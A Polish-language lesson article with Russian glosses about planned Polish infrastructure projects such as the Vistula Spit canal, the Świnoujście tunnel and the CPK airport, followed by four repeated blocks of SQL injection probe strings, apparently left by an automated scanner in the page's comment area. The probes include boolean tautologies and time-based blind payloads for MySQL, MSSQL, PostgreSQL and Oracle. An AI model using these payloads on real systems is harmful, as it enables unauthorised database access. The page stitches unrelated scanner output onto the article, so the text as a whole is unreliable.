Материалы на lekcja.online 100% бесплатные, но если тебе нравится наша работа - можешь поддержить нас на patronite
Cześć. W jednym z poprzednich artykułów opowiedziałem wam o polskich inwestycjach, które z sukcesem udało się zrealizować &na przestrzeni&$на протяжении$ ostatnich 20 lat. Dzisiaj z kolei chciałbym wam krótko przedstawić te z infrastrukturalnych projektów, których otwarcia można się spodziewać w najbliższej i nieco dalszej przyszłości. Zacznijmy od tych pierwszych.
Kanał przez Mierzeję Wiślaną
Jeśli popatrzycie na mapę, to na wschodniej stronie polskiego wybrzeża, niedaleko granicy z &Obwodem&$областью$ Kaliningradzkim, znajduje się wąski &pas lądu&$полоса суши$, o szerokości do 2 km, odcinający Zalew Wiślany (w Rosji znany jako Калининградский залив) na południu, od Morza Bałtyckiego na północy. Ten wąski pas ziemi w Polsce określa się mianem Mierzei Wiślanej, a w Rosji Балтийской косы. Mierzeja podobnie jak i sam zalew jest rozdzielona granicą państwową. Jedyne &połączenie&$соединение$ Zalewu Wiślanego z Morzem Bałtyckim to znajdująca się na terytorium Rosji &Cieśnina&$пролив$ Piławska (Балтийский пролив).
Rzecz jasna polskie &statki&$корабли$ nie mogą przez nią swobodnie &żeglować&$плавать$, przez co &podjęto decyzję&$принято решение$ o budowie &przekopu&$траншеи$, dzięki czemu możliwe będzie ominięcie rosyjskich wód terytorialnych. Inwestycja ta ma pomóc się rozwinąć przede wszystkim położonemu nad Zalewem Wiślanym 120 tys. Elblągowi, budzi jednak &kontrowersje&$противоречия$, gdyż według niektórych ekspertów przekop będzie zbyt &płytki&$мелкий$, aby mogły z niego &korzystać&$использовать$ duże statki. Inwestycja nie podoba się również ekologom, ze względu na jej znaczne &oddziaływanie&$воздействие$ na &środowisko&$окружающую среду$. Nie ulega jednak wątpliwościom, że pomimo wielu krytycznych zdań co do jej &zasadności&$обоснованности$ – zostanie zrealizowana, gdyż prace są już na bardzo zaawansowanym poziomie.
Tunel w Świnoujściu
Zostajemy na wybrzeżu, ale przenosimy się na jego zachodnią część, na jedną z dwóch polskich &wysp&$островов$, konkretnie na Wyspę Uznam. Znajduje się tam miasto Świnoujście, które latem &przyciąga tłumy&$привлекает толпы$ turystów i zdaniem wielu osób może pochwalić się najpiękniejszymi plażami na polskim wybrzeżu. Na ogromną popularność Świnoujścia wśród turystów &nie wpływa&$не влияет$ nawet fakt, że jest ono &pozbawione&$лишено$ lądowego połącznia z Polską, a bez &konieczności&$необходимости$ przesiadania się na prom można do niego dojechać jedynie przez… Niemcy.
Po wielu latach ma się to jednak w końcu zmienić, gdyż w marcu tego roku rozpoczęło się &drążenie&$бурение$ 1,5 kilometrowego tunelu pod rzeką Świną, dzięki czemu Świnoujście wreszcie zyska połączenie lądowe z resztą kraju. &W przeciwieństwie&$в отличие$ do przekopu Mierzei Wiślanej w kontekście tunelu pod Świną nie słychać głosów krytykujących inwestycję.
Tunel na zakopiance i S3
Jeśli byliście kiedyś w jakimś kraju alpejskim, z pewnością waszą uwagę zwróciły liczne tunele, przez które poprowadzone są drogi. Ze względu na ogromną powierzchnię Alp, stały się one jedynym sposobem na &zapewnienie&$обеспечить$ szybkiej komunikacji miedzy górskimi miejscowościami. Polskie góry nie są tak &rozległe&$обширные$ i wysokie jak Alpy, przez co większość dróg po prostu poprowadzono z ich ominięciem, jednak i my doczekamy się swoich górskich tuneli. Pierwszy z nich poprowadzi na tak zwanej zakopiance, czyli drodze prowadzącej z Krakowa do Zakopanego, drugi zaś będzie znajdować się w południowo-zachodniej części kraju, między Jelenią Górą, a Wałbrzychem. Długość obu tuneli &przekroczy&$превысит$ 2 000 metrów.
Centralny Port Komunikacyjny
W przeciwieństwie do wyżej wymienionych inwestycji &powstanie&$создание$ tak zwanego CPK nie jest rzeczą oczywistą, a prace nad nim są dopiero na początkowym etapie. Centralny Port Komunikacyjny, którego sercem ma być położone między Warszawą a Łodzią ogromne &lotnisko&$аэропорт$ zdolne do przyjęcia 45 milionów pasażerów rocznie (dla porównania Lotnisko Chopina w Warszawie, czyli aktualnie największy w Polsce port lotniczy w roku 2019 przyjął około 19 milionów pasażerów) ma zrewolucjonizować system transportowy Polski. Budowie CPK ma &towarzyszyć&$сопровождать$ powstanie 1600 kilometrów nowych linii kolejowych oraz szereg innych inwestycji, które jeśli uda się zrealizować doprowadzą de facto do powstania wokół lotniska &zupełnie&$совершенно$ nowego miasta.
Wiele osób &wątpi&$сомневается$ w zrealizowanie tej inwestycji ze względu na jej ogromną &skalę&$масштаб$. Nie chcą jej również mieszkańcy Gminy Baranów, na terenie której ma powstać CPK, co pokazali w przeprowadzonym w 2018 roku referendum. Nie ulega jednak wątpliwości, że CPK może stać się zarówno jednym z największych &sukcesów&$успехов$ Polski w historii, jak również jedną z jej największych &porażek&$неудач$, jeśli pomimo miliardowych nakładów na jego budowę coś pójdzie niezgodnie z planem.
Здравствуйте....
Przejdz na wyzsza subskrybcje aby korzystac z pelnego tlumaczenia.
Przejdz na wyzsza subskrybcje subskrybcje aby korzystac z
Przejdz na platna subskrybcje aby skorzystac z fiszek do materialu.
Przejdz na wyzsza subskrybcje subskrybcje aby rozwiazywac cwiczenia do artykulu.
1
1'"
\
@@8v8Io
JyI=
�'�"
�''�""
1
1
-1 OR 2+711-711-1=0+0+0+1 --
-1 OR 3+711-711-1=0+0+0+1 --
-1 OR 3*2<(0+5+711-711) --
-1 OR 3*2>(0+5+711-711) --
-1 OR 2+324-324-1=0+0+0+1
-1 OR 3+324-324-1=0+0+0+1
-1 OR 3*2<(0+5+324-324)
-1 OR 3*2>(0+5+324-324)
-1' OR 2+509-509-1=0+0+0+1 --
-1' OR 3+509-509-1=0+0+0+1 --
-1' OR 3*2<(0+5+509-509) --
-1' OR 3*2>(0+5+509-509) --
-1' OR 2+217-217-1=0+0+0+1 or 'n7UyAhQG'='
-1' OR 3+217-217-1=0+0+0+1 or 'n7UyAhQG'='
-1' OR 3*2<(0+5+217-217) or 'n7UyAhQG'='
-1' OR 3*2>(0+5+217-217) or 'n7UyAhQG'='
-1" OR 2+763-763-1=0+0+0+1 --
-1" OR 3+763-763-1=0+0+0+1 --
-1" OR 3*2<(0+5+763-763) --
-1" OR 3*2>(0+5+763-763) --
437'
if(now()=sysdate(),sleep(12),0)
0'XOR(if(now()=sysdate(),sleep(12),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(12),0))XOR"Z
(select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"*/
-1
-1)
1 waitfor delay '0:0:12' --
BReJYQmh'
-5 OR 59=(SELECT 59 FROM PG_SLEEP(12))--
-5) OR 345=(SELECT 345 FROM PG_SLEEP(12))--
-1)) OR 962=(SELECT 962 FROM PG_SLEEP(12))--
D3WKzoo6' OR 572=(SELECT 572 FROM PG_SLEEP(12))--
BzTmgDeu') OR 94=(SELECT 94 FROM PG_SLEEP(12))--
qBYguAtV')) OR 971=(SELECT 971 FROM PG_SLEEP(12))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),12)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),12)||'
1
1
1
1'"
\
@@71hZX
JyI=
�'�"
�''�""
1
1
-1 OR 2+937-937-1=0+0+0+1 --
-1 OR 3+937-937-1=0+0+0+1 --
-1 OR 3*2<(0+5+937-937) --
-1 OR 3*2>(0+5+937-937) --
-1 OR 2+741-741-1=0+0+0+1
-1 OR 3+741-741-1=0+0+0+1
-1 OR 3*2<(0+5+741-741)
-1 OR 3*2>(0+5+741-741)
-1' OR 2+569-569-1=0+0+0+1 --
-1' OR 3+569-569-1=0+0+0+1 --
-1' OR 3*2<(0+5+569-569) --
-1' OR 3*2>(0+5+569-569) --
-1' OR 2+878-878-1=0+0+0+1 or 'FLFgsDc5'='
-1' OR 3+878-878-1=0+0+0+1 or 'FLFgsDc5'='
-1' OR 3*2<(0+5+878-878) or 'FLFgsDc5'='
-1' OR 3*2>(0+5+878-878) or 'FLFgsDc5'='
-1" OR 2+709-709-1=0+0+0+1 --
-1" OR 3+709-709-1=0+0+0+1 --
-1" OR 3*2<(0+5+709-709) --
-1" OR 3*2>(0+5+709-709) --
415'
if(now()=sysdate(),sleep(12),0)
0'XOR(if(now()=sysdate(),sleep(12),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(12),0))XOR"Z
(select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"*/
-1
-1)
1 waitfor delay '0:0:12' --
OxI8wE2k'
-5 OR 592=(SELECT 592 FROM PG_SLEEP(12))--
-5) OR 158=(SELECT 158 FROM PG_SLEEP(12))--
-1)) OR 840=(SELECT 840 FROM PG_SLEEP(12))--
wOX5dS1P' OR 506=(SELECT 506 FROM PG_SLEEP(12))--
wRIXJHMl') OR 383=(SELECT 383 FROM PG_SLEEP(12))--
3wPaOVN2')) OR 707=(SELECT 707 FROM PG_SLEEP(12))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),12)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),12)||'
1
1
1
1'"
\
@@hrG9V
JyI=
�'�"
�''�""
1
1
-1 OR 2+329-329-1=0+0+0+1 --
-1 OR 3+329-329-1=0+0+0+1 --
-1 OR 3*2<(0+5+329-329) --
-1 OR 3*2>(0+5+329-329) --
-1 OR 2+76-76-1=0+0+0+1
-1 OR 3+76-76-1=0+0+0+1
-1 OR 3*2<(0+5+76-76)
-1 OR 3*2>(0+5+76-76)
-1' OR 2+814-814-1=0+0+0+1 --
-1' OR 3+814-814-1=0+0+0+1 --
-1' OR 3*2<(0+5+814-814) --
-1' OR 3*2>(0+5+814-814) --
-1' OR 2+514-514-1=0+0+0+1 or 'ILcyXChl'='
-1' OR 3+514-514-1=0+0+0+1 or 'ILcyXChl'='
-1' OR 3*2<(0+5+514-514) or 'ILcyXChl'='
-1' OR 3*2>(0+5+514-514) or 'ILcyXChl'='
-1" OR 2+688-688-1=0+0+0+1 --
-1" OR 3+688-688-1=0+0+0+1 --
-1" OR 3*2<(0+5+688-688) --
-1" OR 3*2>(0+5+688-688) --
451'
if(now()=sysdate(),sleep(12),0)
0'XOR(if(now()=sysdate(),sleep(12),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(12),0))XOR"Z
(select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"*/
-1
-1)
1 waitfor delay '0:0:12' --
ypGa9FNk'
-5 OR 475=(SELECT 475 FROM PG_SLEEP(12))--
-5) OR 473=(SELECT 473 FROM PG_SLEEP(12))--
-1)) OR 416=(SELECT 416 FROM PG_SLEEP(12))--
frhx8bvV' OR 571=(SELECT 571 FROM PG_SLEEP(12))--
nfgYjnFi') OR 693=(SELECT 693 FROM PG_SLEEP(12))--
erDIgUXW')) OR 458=(SELECT 458 FROM PG_SLEEP(12))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),12)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),12)||'
1
1'"
\
@@ezqN3
JyI=
�'�"
�''�""
1
1
-1 OR 2+662-662-1=0+0+0+1 --
-1 OR 3+662-662-1=0+0+0+1 --
-1 OR 3*2<(0+5+662-662) --
-1 OR 3*2>(0+5+662-662) --
-1 OR 2+452-452-1=0+0+0+1
-1 OR 3+452-452-1=0+0+0+1
-1 OR 3*2<(0+5+452-452)
-1 OR 3*2>(0+5+452-452)
-1' OR 2+316-316-1=0+0+0+1 --
-1' OR 3+316-316-1=0+0+0+1 --
-1' OR 3*2<(0+5+316-316) --
-1' OR 3*2>(0+5+316-316) --
-1' OR 2+332-332-1=0+0+0+1 or '38yaTYfu'='
-1' OR 3+332-332-1=0+0+0+1 or '38yaTYfu'='
-1' OR 3*2<(0+5+332-332) or '38yaTYfu'='
-1' OR 3*2>(0+5+332-332) or '38yaTYfu'='
-1" OR 2+515-515-1=0+0+0+1 --
-1" OR 3+515-515-1=0+0+0+1 --
-1" OR 3*2<(0+5+515-515) --
-1" OR 3*2>(0+5+515-515) --
817'
if(now()=sysdate(),sleep(14.828),0)
0'XOR(if(now()=sysdate(),sleep(14.828),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(14.828),0))XOR"Z
(select(0)from(select(sleep(14.828)))v)/*'+(select(0)from(select(sleep(14.828)))v)+'"+(select(0)from(select(sleep(14.828)))v)+"*/
-1
-1)
1 waitfor delay '0:0:14.828' --
9rN3guz8'
-5 OR 939=(SELECT 939 FROM PG_SLEEP(14.828))--
-5) OR 469=(SELECT 469 FROM PG_SLEEP(14.828))--
-1)) OR 741=(SELECT 741 FROM PG_SLEEP(14.828))--
E5YErzYZ' OR 648=(SELECT 648 FROM PG_SLEEP(14.828))--
nYjmbiZx') OR 819=(SELECT 819 FROM PG_SLEEP(14.828))--
0gCAArj9')) OR 956=(SELECT 956 FROM PG_SLEEP(14.828))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),14.828)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),14.828)||'
Комментарии